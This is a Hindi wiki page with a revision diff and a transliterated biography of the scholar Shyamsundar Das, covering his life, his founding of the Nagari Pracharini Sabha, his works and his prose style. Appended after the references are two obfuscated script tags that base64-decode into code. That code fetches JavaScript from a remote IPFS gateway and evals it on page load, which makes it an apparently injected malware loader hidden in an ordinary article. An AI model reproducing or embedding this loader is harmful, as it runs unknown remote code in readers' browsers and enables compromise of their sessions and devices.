Difference between revisions of "श्यामसुन्दर दास"
[unchecked revision] | [unchecked revision] |
आदित्य चौधरी (talk | contribs) m (Text replace - "अविभावक" to "अभिभावक") |
व्यवस्थापन (talk | contribs) m (Text replacement - "इन्होने " to "इन्होंने ") |
||
Line 275: | Line 275: | ||
उपर्युक्त कृतियों के अतिरिक्त इनके विभिन्न विषयों पर लिखे गये स्फुट निबन्धों और विभिन्न सम्मेलनों के अवसर पर दी गयी वक्तृताओं की सम्मिलित संख्या 41 है। इस विस्तृत सामग्री का अनुशीलन करने से स्पष्ट है कि इनकी सतर्क दृष्टि हिन्दी के समस्त अभावों को लक्ष्य कर रही थी और यह पूरी निष्ठा से उन्हें दूर करने में प्रयत्नशील थे। | उपर्युक्त कृतियों के अतिरिक्त इनके विभिन्न विषयों पर लिखे गये स्फुट निबन्धों और विभिन्न सम्मेलनों के अवसर पर दी गयी वक्तृताओं की सम्मिलित संख्या 41 है। इस विस्तृत सामग्री का अनुशीलन करने से स्पष्ट है कि इनकी सतर्क दृष्टि हिन्दी के समस्त अभावों को लक्ष्य कर रही थी और यह पूरी निष्ठा से उन्हें दूर करने में प्रयत्नशील थे। | ||
==गद्य साधना== | ==गद्य साधना== | ||
− | श्यामसुंदर दास के समय में उपन्यास, नाटक, काव्य और कथा आदि क्षेत्रों में द्रुतगति से साहित्य निर्माण हो रहा था, पर अनुसन्धान, भाषा विज्ञान और साहित्या लोचन आदि विषयों पर किसी का ध्यान नहीं गया। इस प्रकार | + | श्यामसुंदर दास के समय में उपन्यास, नाटक, काव्य और कथा आदि क्षेत्रों में द्रुतगति से साहित्य निर्माण हो रहा था, पर अनुसन्धान, भाषा विज्ञान और साहित्या लोचन आदि विषयों पर किसी का ध्यान नहीं गया। इस प्रकार इन्होंने पहली बार इस क्षेत्र में पदार्पण कर हिंदी की आवश्यकताओं को पूर्ण किया। अंग्रेज़ी साहित्य के ज्ञाता होने के कारण इन्होंने अंग्रेज़ी साहित्य का आधार लेकर अनुसन्धान, भाषा विज्ञान , साहित्यालोचन, कवि समीक्षा और नाट्यशास्त्र जैसे गूढ़ और गंभीर विषयों पर हिंदी में लिखा। अंग्रेज़ी की समीक्षात्मक पुस्तकों का भावापहरण होने के कारण इनके सैद्धांतिक ग्रंथों में भले ही मौलिकता की कमी हो, पर विवेचना का ढंग तो सर्वथा इनका निजी है और तत्कालीन परिस्थितियों व युग में इसके अतिरिक कोई मार्ग भी न था। इस प्रकार यह हिंदी के मौलिक आलोचक थे। |
==भाषा शैली== | ==भाषा शैली== | ||
श्यामसुंदर दास ने शुद्ध साहित्यिक हिंदी का प्रयोग किया तथा विदेशी शब्दों को भी हिंदी के सांचे में ढाल लिया। इनकी भाषा में संस्कृत के तत्सम और प्रचलित तद्भव शब्दों की अधिकता है। उर्दू शब्दों को भी ग्रहण करने के पूर्व उन्होंने हिंदी भाषा की प्रकृति के अनुसार उनके रूप और ध्वनि में परिवर्तन किया। उनकी भाषा क्लिष्ट और जटिल नहीं है तथा सर्वत्र सुगठित और सुलझी हुई है। गूढ़ से गूढ़ विषयों के प्रतिपादन में उनकी भाषा सफल रही। भाषा गंभीर और संयत होते हुए भी धारावाहिक प्रवाह लिए हुए है। श्यामसुंदर दास जी ने शैली को भाषा का व्यक्तिगत प्रयोग माना, अतः शैली विषयक उनका मंतव्य भाषा विवेचन के प्रसंग में आ गया है। इनकी शैली में सरलता और सुबोधता का सहज गुण है, जो विषयानुरूप सर्वत्र यथावसर परिवर्तनशील रही। इनके निबंध प्राय: तीन प्रकार के हैं, तदनुरूप इनकी लेखनी शैली भी तीन प्रकार की हो गयी है- व्याख्यात्मक, विचारात्मक और गवेषणात्मक, किन्तु बाबू जी मूलतः व्यास शैली के ही लेखक रहे।<ref name="aa">{{cite web |url=http://raj-bhasha-hindi.blogspot.in/2012/10/blog-post_17.html|title=बाबू श्यामसुंदर दास|accessmonthday=13 अप्रॅल|accessyear= 2015|last= |first= |authorlink= |format= |publisher= राजभाषा हिन्दी|language= हिन्दी}}</ref> | श्यामसुंदर दास ने शुद्ध साहित्यिक हिंदी का प्रयोग किया तथा विदेशी शब्दों को भी हिंदी के सांचे में ढाल लिया। इनकी भाषा में संस्कृत के तत्सम और प्रचलित तद्भव शब्दों की अधिकता है। उर्दू शब्दों को भी ग्रहण करने के पूर्व उन्होंने हिंदी भाषा की प्रकृति के अनुसार उनके रूप और ध्वनि में परिवर्तन किया। उनकी भाषा क्लिष्ट और जटिल नहीं है तथा सर्वत्र सुगठित और सुलझी हुई है। गूढ़ से गूढ़ विषयों के प्रतिपादन में उनकी भाषा सफल रही। भाषा गंभीर और संयत होते हुए भी धारावाहिक प्रवाह लिए हुए है। श्यामसुंदर दास जी ने शैली को भाषा का व्यक्तिगत प्रयोग माना, अतः शैली विषयक उनका मंतव्य भाषा विवेचन के प्रसंग में आ गया है। इनकी शैली में सरलता और सुबोधता का सहज गुण है, जो विषयानुरूप सर्वत्र यथावसर परिवर्तनशील रही। इनके निबंध प्राय: तीन प्रकार के हैं, तदनुरूप इनकी लेखनी शैली भी तीन प्रकार की हो गयी है- व्याख्यात्मक, विचारात्मक और गवेषणात्मक, किन्तु बाबू जी मूलतः व्यास शैली के ही लेखक रहे।<ref name="aa">{{cite web |url=http://raj-bhasha-hindi.blogspot.in/2012/10/blog-post_17.html|title=बाबू श्यामसुंदर दास|accessmonthday=13 अप्रॅल|accessyear= 2015|last= |first= |authorlink= |format= |publisher= राजभाषा हिन्दी|language= हिन्दी}}</ref> |
Latest revision as of 12:15, 27 April 2018
shyamasundar das
| |
poora nam | d aau.shyamasundar das |
janm | 1875 ee. |
janm bhoomi | varanasi, bharat |
mrityu | 1945 ee. |
mrityu sthan | bharat |
abhibhavak | lala devi das khanna |
karm bhoomi | varanasi |
karm-kshetr | adhyapak, sampadak, sahityakar, lekhak |
mukhy rachanaean | 'chandravali' athava 'nasiketopakhyan', ramacharitamanas, prithviraj raso, ashok ki dharmalipiyaan, rani ketaki ki kahani, bhasha patr bodh, 'hindi kusumavali' |
vishay | granth, pustak, patrika, anuvad |
shiksha | snatak |
upadhi | 'sahity vachaspati' aur kashi hindoo vishvavidyalay se 'di.lit.' |
inhean bhi dekhean | kavi soochi, sahityakar soochi |
d aau.shyamasundar das (janm- 1875 ee., kashi; mrityu- 1945 ee.) ne jis nishtha se hindi ke abhavoan ki poorti ke liye lekhan kary kiya aur use kosh, itihas, kavyashashtr bhashavijnan, anusandhan pathyapustak aur sampadit granthoan se sajakar is yogy bana diya ki vah itihas ke khandaharoan se bahar nikalakar vishvavidyalayoan ke bhavy-bhavanoan tak pahuanchi.
jivan parichay
shyamasundar das ka janm sanh 1875 ee. kashi (varanasi) mean hua tha. inake poorvaj lahaur ke nivasi the aur pita lala devi das khanna kashi mean kap de ka vyapar karate the. inhoanne 1897 ee. mean bi.e. pas kiya tha. yah 1899 ee. mean hindoo skool mean kuchh dinoan tak adhyapak rahe. usake bad lakhanoo ke kalicharan skool mean bahut dinoan tak haidamastar rahe. sanh 1921 ee. mean kashi hindoo vishvavidyalay ke hindi vibhag ke adhyaksh pad par niyukt hue.
anany nishtha
shyamasundar das ji ki prarambh se hi hindi ke prati anany nishtha thi. nagari pracharini sabha ki sthapana 16 julaee, sanh 1893 ee. ko inhoanne vidyarthi kal mean hi apane do sahayogiyoan ramanarayan mishr aur thakur shiv kumar sianh ki sahayata se ki thi. kashi hindoo vishvavidyalay mean ane ke poorv inhoanne hindi sahity ki sarvatomukhi samriddhi ke lie nyayalayoan mean hindi pravesh ka andolan (1900 ee.), hastalikhit granthoan ki khoj (1899 ee.), ary bhasha pustakalay ki sthapana (1903 ee.), prachin mahattvapoorn granthoan ka sampadan sabha-bhavan ka nirman (1902 ee.), 'sarasvati patrika' ka sampadan (1900 ee.) tatha shikshastar ke anuroop pathy pustakoan ka nirman kary arambh kar diya tha. nishchit yojana aur adamy sahas ke abhav mean anek dishaoan mean ek sath saphalatapoorvak kary arambh karana sambhav nahian tha. yah ajivan ek gati se sahity seva mean lage rahe.
kritiyaan
shyamasundar das ji ne parichayatmak aur alochanatmak granth likhane ke sath hi kee darjan pustakoan ka sanpadan kiya. pathyapustakoan ke roop mean inhoanne kee darjan susanpadit sangrah granth prakashit karae. shyamasundar das ki sahity-kritiyaan nimnalikhit haian.
|
|
|
uparyukt kritiyoan ke atirikt inake vibhinn vishayoan par likhe gaye sphut nibandhoan aur vibhinn sammelanoan ke avasar par di gayi vaktritaoan ki sammilit sankhya 41 hai. is vistrit samagri ka anushilan karane se spasht hai ki inaki satark drishti hindi ke samast abhavoan ko lakshy kar rahi thi aur yah poori nishtha se unhean door karane mean prayatnashil the.
gady sadhana
shyamasuandar das ke samay mean upanyas, natak, kavy aur katha adi kshetroan mean drutagati se sahity nirman ho raha tha, par anusandhan, bhasha vijnan aur sahitya lochan adi vishayoan par kisi ka dhyan nahian gaya. is prakar inhoanne pahali bar is kshetr mean padarpan kar hiandi ki avashyakataoan ko poorn kiya. aangrezi sahity ke jnata hone ke karan inhoanne aangrezi sahity ka adhar lekar anusandhan, bhasha vijnan , sahityalochan, kavi samiksha aur natyashastr jaise goodh aur ganbhir vishayoan par hiandi mean likha. aangrezi ki samikshatmak pustakoan ka bhavapaharan hone ke karan inake saiddhaantik granthoan mean bhale hi maulikata ki kami ho, par vivechana ka dhang to sarvatha inaka niji hai aur tatkalin paristhitiyoan v yug mean isake atirik koee marg bhi n tha. is prakar yah hiandi ke maulik alochak the.
bhasha shaili
shyamasuandar das ne shuddh sahityik hiandi ka prayog kiya tatha videshi shabdoan ko bhi hiandi ke saanche mean dhal liya. inaki bhasha mean sanskrit ke tatsam aur prachalit tadbhav shabdoan ki adhikata hai. urdoo shabdoan ko bhi grahan karane ke poorv unhoanne hiandi bhasha ki prakriti ke anusar unake roop aur dhvani mean parivartan kiya. unaki bhasha klisht aur jatil nahian hai tatha sarvatr sugathit aur sulajhi huee hai. goodh se goodh vishayoan ke pratipadan mean unaki bhasha saphal rahi. bhasha ganbhir aur sanyat hote hue bhi dharavahik pravah lie hue hai. shyamasuandar das ji ne shaili ko bhasha ka vyaktigat prayog mana, atah shaili vishayak unaka mantavy bhasha vivechan ke prasang mean a gaya hai. inaki shaili mean saralata aur subodhata ka sahaj gun hai, jo vishayanuroop sarvatr yathavasar parivartanashil rahi. inake nibandh pray: tin prakar ke haian, tadanuroop inaki lekhani shaili bhi tin prakar ki ho gayi hai- vyakhyatmak, vicharatmak aur gaveshanatmak, kintu baboo ji moolatah vyas shaili ke hi lekhak rahe.[1]
abhavoan ki poorti
shyamasundar das bahut achchhe prabandhak the. inhoanne vividh kshetroan mean hindi ke abhavoan ki poorti ke lie avashyak samagri prastut kar dene ki cheshta ki hai. isilie yah poori shakti ka prayog kisi ek kshetr mean nahian kar sake haian. isilie lekhak ke roop mean, alochak ke roop mean, sampadak ke roop mean, kavyakritiyoan aur siddhantoan ke vyakhyata ke roop mean ya bhasha-tattvavetta ke roop mean, chahe jis roop mean dekha jae, sarvatr yahi sthiti hai, kintu isase inaka mahattv ya mooly kam nahian hota hai. kriti ka mooly bahut kuchh usamean nihit rachanavivek aur drishtikon par adhrit hota hai. “hindi alochana ka saiddhantik adhar sanskrit aur aangrezi donoan ki kavy shastriy manyataoan ke samanvay mean prastut hona chahie. hindi sahity ke itihas nirman mean kaviyoan ke itivritt ke sath yuganukool aitihasik paristhitiyoan ka vivechan tatha kavy aur kala mean tatvik ekata hone ke karan, kavy vikas ke sath kala vikas ka adhyayan bhi prastut kiya jana chahie. sampadan mean kritiyoan ki prachinatam prati ko any bhashaoan ka samany parichay aur hindi ke aitihasik vikas ka jnan hona chahie”- rachana aur adhyayan ka yah vivek shyamasundaradas ki bahut b di den hai.
drishtikon
abhavoan ki shighratishighr poorti ko lakshy mean rakhakar niyojit dhang se hone vale nirman kary mean vyapakata, vaividhy aur sthool upayogita ka drishtikon hi pradhan hota hai. shyamasundar das ke samane bhi yahi drishtikon tha, isilie inamean maulikata aur gaharaee ka apekshakrit abhav hai. vyakti ka mooly yug ki sapekshata mean hi aanka jana chahie. inaki buddhi vimal, drishti saph, hriday udar aur drishtikon samanvayavadi tha. sahity aur bhasha sabhi ke sanghatan mean inhoanne auchity aur samanjasy ka dhyan rakha hai. hindi bhasha ke sanghatan ke sambandh mean vichar karate hue inhoanne hindi ke atirikt sanskrit aur arabi- farasi ke shabdoan ko bhi grahan karane ki bat kahi hai. kintu variyata ke kram se pahala sthan shuddh hindi shabdoan ko, doosara sanskrit ke sugam shabdoan ko aur tisara farasi adi videshi bhashaoan ke sadharan aur prachalit shabdoan ko diya hai. bhashasambandhi yah drishtikon sabhi vivekashil vyaktiyoan ko many haian.
vyavaharik alochana
shyamasundar das vyavaharik alochana ke kshetr mean bhi samanjasy ko lekar chale haian. isilie inaki alochana paddhati mean aitihasik vyakhya, vivechana, tulana, nishkarsh, nirnay adi anek tattv sannihit haian. videshi sahity ke prabhav se akrant hindi janata ko inake jaise udar, vivekashil, satark, karmath, svabhimani aur samanvayavadi neta ke kushal netritv ki hi avashyakata thi. apane jivan ke pachas varshoan mean anavarat roop se hindi ki seva karate hue inhoanne ise kosh, itihas, kavyashastr, bhasha vijnan, shodhakary, upayogi sahity, pathy pustak aur sampadit granth adi se samriddh kiya, usake mahattv ki pratishtha ki, usaki avaz ko jan-jan tak pahuanchaya. use khandaharoan se uthakar vishvavidyalayoan ke bhavy-bhavanoan mean pratishthit kiya. vah any bhashaoan ke samakaksh baithane ki adhikarini huee. hindi sahity sammelan ne inako 'sahity vachaspati' aur kashi hindoo vishvavidyalay ne 'di.lith.' ki upadhi dekar apaki sevaoan ka mahattv svikar kiya.
nidhan
jivan ke aantim varshoan mean shyamasuandar das bimar p de to phir uth n sake. samvat 2002 (1945 ee.) ke lagabhag unaka svargavas ho gaya.[1]
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 baboo shyamasuandar das (hindi) rajabhasha hindi. abhigaman tithi: 13 aprॅl, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>